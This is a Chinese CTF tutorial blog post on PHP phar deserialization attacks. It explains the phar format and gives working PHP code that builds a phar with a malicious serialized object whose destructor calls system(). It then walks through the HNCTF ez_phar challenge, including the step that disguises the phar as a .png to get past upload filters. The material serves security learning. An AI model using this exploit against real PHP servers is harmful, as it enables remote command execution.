获取中...

-

Just a minute...

前言

我们在之前学习的反序列化漏洞 无一不是利用了unserialize()这个函数 但是我们没有去考虑 假设此时的题目并没有给我们这个函数 我们还能否实现反序列化呢

其实是可以的 在2018年的BlackHat 大会上 Sam Thomas研究员分享了一个方法 可以在文件系统函数的参数可控的情况下 配合phar协议 不依赖unserialize函数进行反序列化

phar文件

在此之前我们需要先学习一下phar文件 这是php中的一种打包格式 可以粗略的将其理解为一个将多个文件打包在一块的整合包
它主要有四个部分组成

1
2
3
4
5
6
7
8
1. stub部分:这是phar文件的标识 可以理解为一个标志 格式为xxx<?php xxx; __HALT_COMPILER();?> 最关键的是后面的这个__HALT_COMPILER();?>结尾 前面的内容没有限制

2. Manifest部分:这是一个我呢见清单 包含了文件个数 文件权限等等信息 值得注意的是 这部分支持用户自定义meta-data信息 并且会以序列化的显示存储这也导致了phar反序列化

3. file content部分:文件实际内容

4. signature部分:这是可选的部分 是一个前面 放在文件的末尾

原理分析

那么假设现在的靶机情况是这样的 :

存在一个危险的类 其中有destruct等魔术方法 会在对象创建销毁 反序列化发生等关键时候触发代码执行

1
2
3
4
5
6
7
8
9
<?php
class Test {
public $cmd = 'whoami';
public function __destruct() {
system($this->cmd);
}
}
$filename = $_GET['filename'];
file_exists($filename);

此时我们就可以在本地仿照这个类编写一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Test {
public $cmd = 'whoami';
public function __destruct() {
system($this->cmd);
}
}
//删除同名文件 防止创建失败 同时使用错误抑制符防止报错
@unlink("test.phar");

// 创建Phar对象
$phar = new Phar('test.phar');

//startBuffering():开始缓存对Phar的修改 从此时 在调用stopBuffering()之前所有更改不会实际写入磁盘
$phar->startBuffering();

// 添加一个虚拟文件 文件名叫做test.txt 文件内容是test 因为phar文件知识一个整合包 你最中访问具体的路径得有一个具体的文件做落脚石
$phar->addFromString('test.txt', 'text');

//创建Test类的实例
$b =new Test();

// 设置stub
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// 将恶意对象设置为元数据
$phar->setMetadata($b);

//结束缓冲 将内存中的操作刷到磁盘 自动计算phar文件的签名
$phar->stopBuffering();
?>

经过上述操作 test.phar 文件创建完成
(注意 要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件)
此时我们只需要把这个phar文件上传到目标靶机
然后利用靶机php文件之中的

1
2
$filename = $_GET['filename'];  
file_exists($filename);

这一部分 这一部分调用了文件操作函数 这些函数操作phar文件的时候会触发元数据的反序列化

此时被反序列化之后 触发魔术方法 执行恶意的诸如命令 攻击成功
在先知社区的文章之中提供了这样一张图片 展示了收到这个漏洞高攻击影响的函数有以下几种

当这些函数直接使用我们传入的路径为参数的时候 就i有Phar反序列化的攻击之处

但是很多时候 文件上传的入口是不运行我们直接传入phar文件的 更大概率是会存在黑名单或者白名单 此时应该怎么办呢?
这时候我们可以使用phar://伪协议 这个

phar伪协议

这个协议是php解压缩包的一个函数 不管后缀是什么 都会将路径下的文件当作压缩包来解压
语法

1
phar://压缩包路径/压缩包内部文件名

利用phar://伪协议不管扫描后缀都会当作压缩包来解压的特性 我们可以修改test.phar的后缀为可以通过后缀名检测的任意后缀 之后继续包含就行

例题演示

[HNCTF 2022 WEEK3]ez_phar

我们点进来看到这是一个反序列化题目 但是没有unserialize()
同时发现这里面有文件操作函数file_exists()很明显这是一个phar反序列化题目 对于这种题目 还需要一个文件上传页面
使用dirsearch扫一下 找到了upload.php

ok那么现在万事俱备了 开始编写phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
error_reporting(1);
class Flag{
public $code;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Flag();
$o ->code = "system('ls');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

此时这个phar文件就会生成在你写以上代码的文件的相同目录之下
我们将其上传一下看看
发现过滤了后缀名 那么就将phar文件后缀改成.png之后使用phar伪协议上传
上传成功 此时我们来到第一个页面 使用phar伪协议
可以看到反序列化成功 ls被成功执行 接下来就是修改RCE内容 得到flag

小解

phar反序列化主要利用的知识是数据(Metadata)是以序列化(serialize)格式存储的 当通过phar://协议访问Phar文件时 PHP会自动反序列化(unserialize)元数据 无论是否实际使用这些元数据

主要利用有几个前提:

  1. php.ini中的phar.readonly选项设置为Off
  2. 存在文件操作函数
  3. 存在文件上传页面

参考文章:
Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区
Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • URLDNS链入门

    在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?有的兄弟有的如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗那么这就是我们需要学习的UR...

    URLDNS链入门
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 动态加载字节码

    动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题 核心方法在java.lang.ClassLoader类中有一个方法 1protected fi...

    动态加载字节码
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • LangChain反序列化

    最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下 LangChain介绍LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)举个例...

    LangChain反序列化
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • 死亡绕过

    前言以及环境介绍本文是对p神文章谈一谈php://filter的妙用 | 离别歌知识点的学习 本文主要介绍使用filter伪协议进行死亡绕过的三种方式 测试环境:小皮面板测试代码:exit.php 12345<...

    死亡绕过
Please check the parameter of comment in config.yml of hexo-theme-Annie!